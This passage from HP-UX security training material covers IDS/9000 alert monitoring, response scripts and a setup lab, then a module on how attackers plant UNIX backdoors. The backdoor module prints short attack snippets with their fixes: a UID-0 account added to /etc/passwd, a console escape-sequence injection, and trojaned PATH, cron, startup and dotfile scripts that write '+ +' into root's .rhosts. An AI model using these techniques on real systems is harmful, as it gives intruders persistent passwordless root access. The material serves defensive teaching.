on the Monitored Hosts list and the alerts and errors will be displayed on the Network
Node screen for each host. The updates will continue as alerts and errors are generated
and the System Manager is running.

H3541S D.02 10-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Monitored Node List Fields

The Monitored Node list includes several fields.
• Status: the current state of the Monitored Node and its surveillance schedule. The
possible status values are described in “Monitored Node Status Field Values” below.

• Host: the host name assigned on the Host Manager screen.

• Address: the host IP address assigned on the Host Manager screen.

• Tag: the tag name assigned on the Host Manager screen.

• Schedule: the name of the surveillance schedule that is currently loaded, scheduled or
running on this host, or None if no schedule is currently loaded.

• Total Alerts: the total number of alerts generated by this host; the highest severity of all
alerts is color-coded with a red (high), yellow (medium), or blue (low) ball.

• Unseen Alerts: the number of alerts that have not yet been marked as seen; the highest
severity of all unseen alerts is color-coded with a red (high), yellow (medium), or blue
(low) ball.

Monitored Node Status Field Values

At any given time, each Monitored Node is in one of several states. The available states are
described below:

Activating The agent is activating the schedule.

Available The agent is running, but is not running a schedule.
Downloading The Manager is downloading a schedule to the agent.
Error The agent detected an error; check the error log.
No Agent Available No agent was detected on the agent host.
Polling The System Manager is communicating with the host.
Resyncing The System Manager and agent are re-synchronizing alerts.
Running The schedule is running on the agent.
Status Unknown The status of the agent host is unknown.
Stopping Schedule The agent is stopping its current schedule.
Scheduled The schedule has been downloaded to the node, but the
Surveillance Schedule timetable isn’t currently monitoring any
Surveillance Groups.

http://education.hp.com 10-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–13. SLIDE: Monitoring Alerts

Monitoring IDS Alerts

IDS displays alert summaries for each IDS client in the IDS System Manager window.

Student Notes
Once a Surveillance Schedule has been downloaded and activated on a Monitored Node, the
Detection Templates in the Surveillance Group begin reporting alerts to the
/var/opt/ids/alert.log file on the client. Errors are recorded in the
/var/opt/ids/error.log file. When the System Manager is running and the agent is
active, copies of the alert records are sent to the System Manager, too, where they are
recorded in the /var/opt/ids/gui/logs/hostname_alert.log and
/var/opt/ids/gui/logs/hostname_error.log log files.

The System Manager screen reports the number of alerts and errors received from each
Monitored Node.

Opening the Network Node window

For more detailed information about the alerts received from a node, double-click on the
node’s name in the Monitored Node list to open the node’s Network Node window.

H3541S D.02 10-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–14. SLIDE: Viewing Alert Details

Viewing Alert Details

From the Manager screen, double click a hostname for a complete list of alerts.
From the alert browser, single click any alert to view a more detailed description.
Alerts are color coded: red is most critical, grey is least critical.
After you investigate an alert, click the “seen” checkbox, or Edit->Delete it.

Student Notes
The Network Node alert details window has two tabs:
• The Alerts tab, which reports possible security breaches, and

• The Error tab, which reports IDS configuration errors

The Alerts Tab

The Alerts tab (shown on the slide) displays the alerts that have been detected by the
Surveillance Schedule on one of your agent host systems. Each alert entry displays the alert
severity, the attacker, the attack type, the date and time the alert was generated, as well as
other data. The columns displayed depend on selections on the Preferences screen, which
lists and describes all the column names.

http://education.hp.com 10-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Alerts are highlighted with color bars to emphasize the severity level of the potential
attack (your colors may vary).

Red (severity 1): This is a critical alert. Such an alert indicates a direct and immediate
compromise of your system.

Yellow (severity 2): This is a severe alert. Such an alert might indicate an attack that can
compromise the system but without fatal consequences. The system
may be undergoing penetration.

Grey (severity 3): This is a less severe alert. Such an alert could provide information
about an event that might be used to carry out a more severe attack on
the system in the future.

When you select an alert, regardless of its severity, it is highlighted in light blue and
marked as Seen. The panel at the bottom of the screen presents a detailed description of the
last-selected alert.

Marking Entries as Seen or Unseen

You may wish to mark alert or error entries as seen or unseen to distinguish entries you have
handled from those still under consideration. Simply click the checkbox to the left of an alert
or error to mark it Seen.

If you have finished reviewing all of the alerts or errors for the currently selected host, select
the Actions -> Mark All Alerts/Errors As Seen menu item.

There is also an Actions -> Mark All Alerts/Errors As Unseen menu item.

Deleting Entries
To delete one or more alerts or errors, select the entry and click the Delete button at the
top of the screen.

Other Actions
If you have a lot of alerts to browse, take a look at the Search and Sort menus. They have
some powerful tools for better organizing the alerts on the Network Node screen.

H3541S D.02 10-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–15. SLIDE: Configuring IDS Response Scripts

Configuring IDS Response Scripts

Custom response scripts may be created in /opt/ids/response/

IDS executes all scripts in this directory when a detection template identifies an incident.
Response scripts may be used to email root, or even to terminate network connections.
IDS includes a response script to integrate with Openview Operations.
# vi /opt/ids/response/myresponse.sh

#!/usr/bin/sh
echo “
Detection Template : $1
Template Version : $2
Severity : $3 (1=most critical)
Timestamp : $4
Attacker Username : $5
Subsystem Target : $6
Alert Summary : $7
Alert Details : $8
“ | mailx –s “IDS alert” root

# chmod 555 /opt/ids/response/myresponse.sh

Student Notes
By default, when the IDS agent identifies a suspicious event, it records an alert in the local
/var/opt/ids/alert.log file, and forwards the alert to the IDS Manager.

Response programs allow you to automatically process and respond to alerts as they are
generated. Response scripts may be used to email or page the system administrator, or may
even be configured to automatically shutdown a LAN card to terminate suspicious
connections.

The response program execution mechanism is very straightforward: when the agent
generates an alert, it stores the alert in /var/opt/ids/alert.log, sends the alert to the
System Manager, then executes the first fifty response scripts found in the
/opt/ids/response/ directory.

Response programs may be written in any language. The slide shows a very simple POSIX
shell response script that mails intrusion alerts to the system administrator. Note that IDS
uses shell arguments to communicate the severity, type, time, and other information about
the alert.

http://education.hp.com 10-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

# vi /opt/ids/response/myresponse.sh
#!/usr/bin/sh
echo “
Detection Template : $1
Template Version : $2
Severity : $3 (1=most critical)
Timestamp : $4
Attacker Username : $5
Subsystem Target : $6
Alert Summary : $7
Alert Details : $8
“ | mailx –s “IDS alert” root
# chmod 555 /opt/ids/response/myresponse.sh

OVO Enablement in IDS/9000

One response program is included as a standard component in IDS/9000: the OVO
Enablement response program, which forwards IDS alerts to an HP’s Openview Operations
(OVO) management server. OVO integration is enabled with two programs that are installed
on every agent host in the /opt/ids/response directory. They are
− /opt/ids/response/send_alert_to_vpo.sh
− /opt/ids/response/vpo/ids_vpoalert

The send_alert_to_vpo.sh script performs a series of tests to ensure that the script is
running on a OVO Monitored Node. If the tests pass, it calls ids_vpoalert, which
generates a OVO message and uses the opcmsg() facility to send the message to the
OVO message interceptor. The interceptor relays the message to the OVO management
server.

If you do not have OVO or prefer not to have OVO integrated with IDS/9000, then you
can remove these two files from the /opt/ids/response directory.

H3541S D.02 10-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–16. LAB: Configuring and Using IDS/9000

Directions
This lab gives you an opportunity to configure and use HP's IDS/9000 software. Working with
a partner, you will have an opportunity to configure both an IDS/9000 server, and an IDS/9000
client. If you prefer to work alone, you can configure your system with both the client and
server functionality.

Part I: Install IDS/9000 Software on the IDS/9000 Server

1. Verify that the Java Runtime Environment (B9789AA) version 1.3.1.01 or greater and the
IDS/9000 product (J5083AA) version B.02.01.32 or greater are installed on your IDS/9000
server. The IDS bundle can be downloaded for free from http://software.hp.com..
The Java bundle can be downloaded at no cost from http://www.hp.com/go/java.
Both bundles should already be installed on your system.

# swlist B9789AA J5083AA

2. The IDS/9000 software must be configured from a special IDS user account, which is
created during the software install process. Verify that the account has been created, then
set a password for it.

# grep ids /etc/passwd /etc/group

# passwd ids

Part II: Install IDS/9000 Software on the IDS/9000 Clients

1. Verify that the IDS/9000 agent sub-product (IDS.IDS-Agent) version B.02.01.32 or
greater is installed on your IDS/9000 client. The IDS software can be downloaded free
from http://software.hp.com.

# swlist IDS.IDS-Admin

(The IDS.IDS-Agent sub-product is the only additional software required on the IDS
clients. Java software is not required on the IDS clients.).
2. Verify that the IDS account has been created, then set a password for it.

# grep ids /etc/passwd /etc/group

# passwd ids

http://education.hp.com 10-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part III: Configure the IDS/9000 Public/Private Keys

The IDS/9000 product uses public key cryptography to send messages between the IDS server
and IDS agents. The IDS product includes a self-contained certificate management product.
Before using IDS, public/private key pairs must be generated on the IDS/9000 server using the
IDS_getAdminKeys utility.
1. On the IDS/9000 server, switch to the ids user:
# su - ids
2. Set up the required environment variables on the server:
$ export PATH=/opt/ids/bin:$PATH
$ export SHLIB_PATH=/opt/ids/lib:$SHLIB_PATH
3. Generate the public/private keys for the IDS/9000 server.
$ /opt/ids/bin/IDS_genAdminKeys
4. While still logged onto the server, generate public/private keys for the IDS/9000 client
agents by running the genAgentCerts utility. The program will interactively prompt for
each agent's hostname, then generate a public/private key pair. (Note: Be patient! It may
take several minutes to generate the key pairs).
$ /opt/ids/bin/IDS_genAgentCerts
Generating keys for the agent machines.
Generate keys for which host? ClientA
ClientA. . . . . . .done.
Next hostname? ClientB
ClientB. . . . . . .done.
Next hostname? <CTRL d>

The certificate files containing the public/private keys for the clients are created in
/var/opt/ids/tmp or the IDS server. These files will need to be securely transferred
to the individual IDS agent systems.

H3541S D.02 10-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

5. Transfer the certificate files from the IDS server to the IDS agent systems.

If you are using your system as both the IDS server and client, simply copy your client
key from /var/opt/ids/tmp to /tmp.

$ cp /var/opt/ids/tmp/ClientA.tar.Z /tmp

If you are configuring a different system as a client, then use FTP to transfer the client
keys that you generated in the previous step to the client hosts.

NOTE: Utilities like ftp, rcp, or unencrypted email are not considered secure
methods for transferring these files, because eavesdroppers could view
their contents and threaten the security of IDS. For the sake of simplicity,
this lab uses ftp to transfer the keys. In a production environment, HP
recommends using PGP-protected email, floppy disks, or other secure
methods to transfer the IDS keys.

$ cd /var/opt/ids/tmp
$ ftp ClientA
> put ClientA.tar.Z /tmp/ClientA.tar.Z
> chmod 444 /tmp/ClientA.tar.Z
> bye
6. Exit the IDS su session.
$ exit
7. Log in on each IDS client, and import the public/private keys using the
IDS_importAgentKeys command:
# telnet ClientA
# su - ids
$ cd /tmp
$ /opt/ids/bin/IDS_importAgentKeys /tmp/ClientA.tar.Z ServerName
$ exit

These commands extract the private and public keys and update the
/etc/opt/ids/ids.cf file to reference the IDS server.
8. At this point the IDS agent software can be started on the client, and communications
between the IDS server will be authenticated and encrypted. To start the IDS agent
daemon on the client, logout of any remaining su sessions, and run the idsagent
startup script while logged in as user root.
# /sbin/init.d/idsagent start

http://education.hp.com 10-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part IV: Create a Surveillance Group on the IDS Server

Recall that a surveillance group is a customized grouping of Detection templates that can be
scheduled to monitor suspicious activity on your system. Our goal is to create a Surveillance
Group that will watch for the creation of suspicious files that (a) include world write
permission or (b) include the SUID permission bit.
1. The IDS/9000 server needs to be configured to monitor for various types of security
breaches on the IDS clients. This can be accomplished via the IDS GUI.

In order to run the IDS GUI, you must be logged in as user ids via an X-windows session.
If you are currently logged in as root, logout out of X-windows/CDE, then log back in
again as user ids. Note that su'ing to ids won't work! After you login as user ids, run
the IDS GUI. Be sure to run the GUI in the foreground. Be patient. It may take several
minutes to launch the interface.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window. From this window,
click Edit -> Schedule Manager. The Schedule Manager window is used to
create and schedule Surveillance Groups.

3. Surveillance Groups can be configured in the Surveillance Groups box. Several

Surveillance Groups are pre-configured, but we will create our own. Click the New button
in the Surveillance Groups box.

4. Name your new Surveillance Group in the New Surveillance Group dialog box that
appears.

− Enter SuspiciousFiles as the Surveillance Group name.

− Click OK.
− Your new group should appear in the Surveillance Group list.
5. Specify which detection templates you wish to include in your new surveillance group.

− Look for your new group in the Surveillance Group list.

− Select your SuspiciousFiles group from the Surveillance Groups list.
− Look at the Templates box to the right of the Surveillance Group list.
− Mark the following templates for inclusion in your surveillance group:
− Creation of SetUID files
− Creation of world-writable files

H3541S D.02 10-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

6. Configure the Creation of world-writable files template to exclude files under

/tmp.

− Select Creation of world-writable files from the Templates box.

− Look at the Properties box to the right of the Templates box.
− Select the Ignore these directories property.
− Click Edit.
− In the resulting Edit List window, click Add.
− Enter pathname /tmp.
− Click OK to exit the Edit dialog box.
− Click OK to exit the Edit List window.
7. Leave the Schedule Manager window open for the next part of the lab.

http://education.hp.com 10-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part V: Create a Surveillance Schedule on the IDS Server

Now you need to create a Surveillance Schedule to specify when the new
SuspiciousFiles surveillance group should monitor activity on your systems.
1. Make sure you are in the Schedule Manager window, viewing the Configure tab.

2. Create a new surveillance schedule called DaytimeSuspiciousActivity.

Find the Schedules box on the left side of the Schedule Manager window.

− Click New.
− A New Surveillance Schedule dialog box should appear.
− Call your new schedule DaytimeSuspiciousActivity.
− Click OK.
− Verify that your new Surveillance Schedule appears in the Schedules box.
3. Now, specify which surveillance groups should be included in your new Surveillance
Schedule. Include the SuspiciousFiles Surveillance Group you created in the
previous part of the lab, as well as the built-in LoginMonitoringGroup.

− In the Schedules box on the left, select DaytimeSuspiciousActivity.

− In the Surveillance Groups box, click Clear All.
− In the Surveillance Groups box, mark the SuspiciousFiles check box.
− Also, mark the LoginMonitoringGroup check box.
4. Next, configure your Surveillance Schedule such that the two selected Surveillance
Groups are only monitored during regular business hours. (Note: Realistically, you would
probably want to monitor these surveillance groups all the time. This exercise is simply
designed to help you explore the IDS interface.)

− Click the Timetable tab near the top of the screen.

− Select your new surveillance schedule from the Schedules box on the left.
− Look at the Schedule Summary grid for your surveillance schedule.
− When are your surveillance groups currently scheduled to run?
− Select SuspiciousFiles from the Selected Groups box.
− In the Criteria box, click Specified.
− In the Select Days box, click None.
− In the Select Times box, click None.
− In the Select Days box, select Monday–Friday while holding the Ctrl key.
− In the Select Times box, select your standard business hours.
− Use a similar procedure to schedule the LoginMonitoring surveillance group.
5. Now that you have configured a surveillance group and a surveillance schedule, be sure
to hit the Save button to save your work.

6. Finally, click File -> Close to return to the System Manager screen.

H3541S D.02 10-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part VI: Download and Run Surveillance Schedules on IDS Clients

Now that you have an IDS Surveillance Schedule, you can specify which hosts you want to
run that surveillance schedule on.
1. First, IDS must be told which clients you wish to monitor. IDS may be used to monitor
multiple hosts across your network from a central IDS Management Server. For the
purposes of this lab, however, you will simply monitor your own host.

− From the System Manager window, click Edit -> Host Manager.

If you are doing both the client and server portions of the lab on the same system, you
can simply click the Monitored check box for your host to force IDS to poll the new
client, click File -> Save and File -> Close to exit the Host Manager, then skip
ahead to the next question. If you are doing the lab with a partner, make sure the IDS
server administrator does the following:
− Click the Add button
− Move the mouse pointer to the blank line and select the Host Name field
− Type the client's hostname directly into the field
− Move the mouse pointer to the IP Address field.
− Enter the client's IP Address manually, or click the Set IP Address button.
− Click OK.
− Your new client should appear in the Host Manager window's host list.
− Click the Monitored check box for your host to force IDS to poll the new client.
− Repeat this process for all hosts you wish to monitor.
− When finished, save the defined hosts using the File -> Save menu.
− Then, close the Host Management window by selecting File -> Close.

2. Next, download your DaytimeSuspiciousActivity Surveillance Schedule to your

IDS client.

− Make sure you are back in the System Manager window.

− Select your new client from the list of Monitored Nodes.
− If the Status field is not Available, click the Status button to poll the client.
− Select DaytimeSuspiciousActivity from the Schedules box.
− Click Activate to download the surveillance schedule to the client.
− The Status field should eventually indicate that the schedule is Running.

http://education.hp.com 10-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part VII: (Optional) Configuring an Automated Response Script

Automated response scripts can be installed on IDS clients to automatically email root,
archive log files, or even shutdown the LAN card when IDS identifies a potential security
breach. You will have an opportunity to create an automated response script in this part of
the lab.

1. Configure an automated response script on the client that emails every alert to root.
Make sure your script is in the appropriate directory on the client.

# vi /opt/ids/response/myresponse.sh

#!/usr/bin/sh
echo “
Detection Template : $1
Template Version : $2
Severity : $3
Timestamp : $4
Attacker Username : $5
Subsystem Target : $6
Alert Summary : $7
Alert Details : $8
“ | mailx –s “IDS alert” root
2. Set permissions on the script to 555.

# chmod 555 /opt/ids/response/myresponse.sh

3. (Optional) Can you modify your script so it only notifies root when a critical alert occurs?

Answer:

H3541S D.02 10-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part VIII: Monitoring Your IDS Clients

Now you are ready to begin monitoring your IDS clients!
1. In a terminal window, execute a few suspicious commands.

# touch ~root/f1 Create a file.

# chmod 777 ~root/f1 Make the file world-writable.
# chmod u+s ~root/f1 Set the SUID bit.
# login user1 Login as user1.
$ su - Mistype the root password while su'ing to root.
$ su - Mistype the root password again.
$ su - And again ...
$ exit

2. Then return to your IDS System Manager screen.

3. What do you see on the System Manager screen that indicates that there might be a
problem on your client?

Answer:

4. After you investigate an alert, mark the alert's Seen checkbox so other IDS
administrators can determine which alerts have and have not been analyzed. Go ahead
and mark the Seen checkbox for all of the current alerts. You can drag your mouse
across multiple alerts to mark them all simultaneously.

5. Marking an alert as Seen does not actually remove it from the IDS log. You may want to
purge the log occasionally. To remove one or more IDS entries from the log, select them
on the Network Node alert browser window, then click Delete.

6. Most messages generated by IDS will be alerts. However, occasionally an IDS agent
daemon dies, or some other IDS error occurs. To view these errors, click the Errors tab
on the Network Node screen.

7. Use whatever time remains in the lab to practice configuring some additional surveillance
schedules, and generating some additional alerts.

http://education.hp.com 10-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Part IX: Shutting Down IDS

1. When you have finished working with IDS, exit the IDS Manager by clicking
File -> Exit.

2. Also, shut down the IDS agent on the client.

# /sbin/init.d/idsagent stop

H3541S D.02 10-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 11  How the Hacker Exploits Backdoors
Objectives
Upon completion of this module, you will be able to do the following:
• Describe six of the common UNIX backdoors that hackers exploit.

• Use find to identify files and directories that hackers may use to create backdoors.

• Use swverify to identify executables and libraries that may have been compromised.

• Use tripwire to identify files and directories that may have been compromised.

http://education.hp.com 11-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–1. SLIDE: Perform Unauthorized Activities: Create Backdoors

Perform Unauthorized Activities: Monitor

and Hide System Activity

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on network
tasks

Student Notes
This module focuses on the second of four types of unauthorized activities that hackers often
perform after gaining access to a target UNIX system: creating backdoors.

• What is a backdoor?
• How do hackers create backdoors?
• How can administrators prevent backdoors?
• What should a system administrator do to close backdoors?

H3541S D.02 11-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–2. SLIDE: Backdoors

Backdoors

I’ll take advantage of improper file permissions to

ensure future access to the system – and next
time I’ll return as root!

Commonly exploited permission problems:

• Write access to executables and configuration files
• Write access to device files
• Write access to programs referenced in cron files
• Write access to directories in root’s PATH variable
• Write access to files accessed in system startup scripts
• Write access to files in root’s home directory

Student Notes
When a hacker gains regular user access to a target UNIX system, he will often attempt to
extend his or her capabilities to include root access by exploiting misconfigurations known
as “backdoors”.

Backdoors at the operating system level allow local users to gain additional privileges;
backdoors at the network level allow users on other systems to gain privileges on the local
machine.

This module focuses on the operating system level backdoors. The slide lists several of the
most common operating system backdoors that hackers exploit. The next few modules
describe a variety of network level backdoors.

http://education.hp.com 11-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

11–3. SLIDE: Write Access to System Directories

Example: Write Access to System Directories

If the /etc directory or the /etc/passwd file is

world-writable, I can grant myself root privileges
with a UID 0 account!

$ vi /etc/passwd
hack::0:20::/:/sbin/sh
#

root compromised!

Student Notes
World writable system directories and files present the first danger. If a hacker gains write
access to the /etc/passwd file, the /etc directory itself, or any other file in the /etc
directory, the hacker may be able to create back doors on the system to enable future access,
potentially as root.

Solutions
Improper system permissions typically result from careless system administration. Never
add world write permissions to system files and directories.

H3541S D.02 11-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–4. SLIDE: Example: Write Access to Device Files

Example: Write Access to Device Files

If root forgets to run mesg n at login time,

I can redirect a command to the system
console and get root access!

If I can get write access to a disk or logical

volume device file, I can use fsdb to modify
the inode table.

$ echo “\r echo ‘+ +’ >~/.rhosts \r\033d” >/dev/console

root compromised! /dev/console

rw--w--w--

Student Notes
Device file permissions must be carefully evaluated, too.

If a hacker has write access to the system administrator’s terminal device file, the hacker can
redirect a string containing a shell command followed by the \r\033d “execute” escape
sequence to the administrator’s terminal device file. If the administrator is logged in, the
command contained in the redirected string executes with root permissions! (Note that the
\r\033d sequence only works in hpterm terminal emulators. A slightly more complicated
procedure may be used to exploit world-writable dtterm terminal emulator device files.)

The mesg command can be used to enable and disable write access to the user’s tty. Make
sure you include the mesg n command in your ~/.shrc file!

# vi ~/.shrc
mesg n

Improper logical volume device file permissions pose an equally serious threat. If a hacker
can gain write access to a logical volume or disk device file, he can use the fsdb file system
debugger to modify file permissions or data blocks, even if the file system is unmounted.

http://education.hp.com 11-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Solutions
Although some device files require world write permission, most don’t. Keep a lookout for
modified device file permissions, especially in /dev/dsk, /dev/rdsk, and your volume
group directories.

Also be sure to add the mesg n command to your ~/.shrc file.

H3541S D.02 11-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–5. SLIDE: Example: Write Access to the cron Directory

Example: Write Access to cron File

Executables

If I can find a cron job that calls a world-writable executable,

I’ll overwrite that executable with some malicious code!

var usr

spool local

cron bin rwxrwxrwx

crontabs tar

echo “+ +” >~/.rhosts
user1 root user2

0 1 * * * /usr/local/bin/tar –c / root compromised!

Student Notes
Root’s /var/spool/cron/crontabs/root file is an attractive target for hackers too.
Administrators use this file to schedule processes, such as system backups, to execute
automatically at regular intervals. The cron daemon executes programs in root’s crontab
file as user root.

If the /var/spool/cron/crontabs/root file permissions are set incorrectly, a hacker

may attempt to add unauthorized entries. When cron executes the hacker’s unauthorized
cron job, the job executes with root privileges.

Even legitimate cron jobs can cause problems. If root’s crontab executes a program that is
world writable, hackers may insert damaging code in the program. In the example on the
slide, the hacker was able to replace the /usr/local/bin/tar program since the
/usr/local/bin directory was improperly secured. When root’s cron job executes the
tar command at 1am, the hacker’s replacement tar program will corrupt root’s .rhosts
file!

http://education.hp.com 11-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Solutions
Verify that neither the /var/spool/cron/crontabs/* files, nor the programs called by
the crontab files, nor any of the directories in the path leading to those programs, are
world-writable. You must check all the directories along each path all the way back to the /
directory. If any directory in the tree is world writeable, the hacker can move the remainder
of the directory tree to a different location, and replace it with a hacked directory tree.

H3541S D.02 11-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–6. SLIDE: Example: Write Access to Directories in Root’s

PATH Variable

Example: Write Access to Directories in

root’s PATH Variable

Hacker:
$ vi /usr/local/bin/mroe
If there is a world-writable echo “+ +” >~/.rhosts
directory in root’s PATH echo “sh: mroe: not found”
variable, I can plant a $ chmod 555 /usr/local/bin/mroe
malicious executable in
that directory, and Root:
perhaps root will # PATH=$PATH:/usr/local/bin
accidentally execute it! # mroe /etc/passwd
sh: mroe: not found

root compromised!

Student Notes
When a user types a command, the shell searches the directories in the user’s PATH variable
for an executable filename that matches the command the user typed. If the user’s PATH
variable includes world-writable directories, hackers may attempt to copy unauthorized
programs to those directories. When the user types a command that matches the hacker’s
program name, the program executes with root privileges.

In the example on the slide, the hacker added an mroe program to the /usr/local/bin
directory. If the administrator accidentally mistypes the more command, the shell searches
the directories in root’s PATH variable for a program titled mroe, the hacker’s program
executes with root privileges, and unbeknownst to the administrator, a + + entry is added to
root’s ~/.rhosts file.

http://education.hp.com 11-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Solutions
Never include the “.” directory or any world-writable directories in your PATH variable. On
some versions of HP-UX, directories in /usr/local are world-writable by default. It’s a
good idea to change these permissions to 755 to protect popular contributed software
programs like Apache and Perl, which often install in the /usr/local directory structure by
default.

# chmod 755 /usr/local /usr/local/*

H3541S D.02 11-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–7. SLIDE: Example: Write Access to Files Executed at System

Startup

Example: Write Access to Programs

Executed at System Startup

System startup scripts run as root. If I can find a startup script

that accesses a world-writable file, I can overwrite that file
and gain root access next time the system reboots!

usr

/sbin/init.d/myprog local
case $1 in
bin rwxrwxrwx
‘start’)
# This script starts
myprog
# the application
/usr/local/bin/myprog echo “+ +” > ~/.rhosts

root compromised!

Student Notes
Hackers sometimes exploit poorly secured system startup scripts in /sbin/init.d, too.
Because startup scripts execute with root privileges, /sbin/init.d/* scripts should never
be world-writable.

System administrators often overlook the fact that the /sbin/init.d/* startup scripts
often call other programs outside of the startup script directory, and these programs execute
with root privileges, too! Therefore, programs that are executed by /sbin/init.d/*
scripts must be protected too.

In the example on the slide, the /sbin/init.d/myprog startup script executes a program
in /usr/local/bin. Since /usr/local/bin is world-writable, the hacker was able to
replace the /usr/local/bin/myprog program. Next time the system reboots, a + +
entry will be added to root’s ~/.rhosts file.

http://education.hp.com 11-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Solutions
Watch out for world-write permission on scripts in /sbin/init.d, configuration files in
/etc/rc.config.d, or any other program that is executed automatically during system
startup.

H3541S D.02 11-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–8. SLIDE: Example: Write Access to Files in Root’s Home

Directory

Example: Write Access to Files in Root’s

Home Directory

If I can edit the hidden files in root’s home directory, I can get
root access the next time root logs in or launches elm or vi!

~root

.profile: echo “+ +” >~/.rhosts

.exrc: !(echo “+ +” >~/.rhosts)

.rhosts: + +
root compromised!

Student Notes
There are many files in root’s home directory that can easily be exploited if not secured
properly.

The POSIX shell executes ~root/.profile every time the administrator logs in via a
terminal, modem, telnet, or rlogin session. Hackers may try to insert damaging code in
~root/.profile.

vi reads ~root/.exrc file every time root edits a file using the vi editor. Hackers may try
to insert a !() shell escape sequence in this file.

rlogind and remshd read ~root/.rhosts to determine which remote users should be
given password-free access to root’s home directory. Hackers may attempt to add
unauthorized entries to this file. The + + entry in the sample file on the slide allows any
user, on any host, password-free access to the root account.

http://education.hp.com 11-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Solutions
Never use / as root’s home directory. Make sure the permissions on root’s home directory
and the hidden files mentioned on the slide are 700.

H3541S D.02 11-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 11
How the Hacker Exploits Backdoors

11–9. SLIDE: Preventing Backdoors with Proper File Permissions

Preventing Backdoors with Proper File

Permissions

Use find to catalog existing world-writable directories and files.

# find / -perm -002 –exec ll –d {} \;

Use swverify to verify executable and library file permissions.

# swverify \*
# more /var/adm/sw/swverify.log
# more /var/adm/sw/swagent.log

Use umask to ensure that new files and directories are properly secured.
# umask -S
# vi ~/.profile
umask u=rwx,g=rx,o=rx

Student Notes
Properly configured file permissions are the key to preventing most of the backdoors
discussed in this chapter. Several tools are available to help you identify possible permission
problems.

Use find to Catalog Existing World-Writable Directories and Files

World-write permission is one of the key culprits that allows hackers to configure back
doors. You can use the find command to generate a list of world writable files and
directories.

# find / -perm -002 –exec ll –d {} \;

http://education.hp.com 11-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 11
How the Hacker Exploits Backdoors

Use swverify to Verify Executable and Library File Permissions

When you install software via SD-UX, swinstall records the permissions and attributes of
the newly installed files in the Installed Product Database (IPD). You can use the swverify
command to compare the attributes of the files on your system to the original attributes
recorded in the IPD. If the command reports ERRORs or WARNINGs, read the
swverify.log and swagent.log files for details.

# swverify \*
# more /var/adm/sw/swverify.log
# more /var/adm/sw/swagent.log

Note that swverify only verifies files that are installed via swinstall. Data files aren’t
included in the IPD.

Prior to HP-UX 11i, some HP-UX products were packaged inconsistently, which often led to
false warnings in swverify. These problems have been fixed in HP-UX 11i.

Use umask to Ensure That New Files and Directories Are Properly Secured
In order to ensure that files and directories created in the future are properly secured, make
sure your umask is set properly in the ~/.profile script. The default umask is
rwxrwxrwx. It is much better to use rwxr-xr-x or rwxr-x--- instead.

# umask -S
# vi ~/.profile
umask u=rwx,g=rx,o=rx

H3541S D.02 11-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
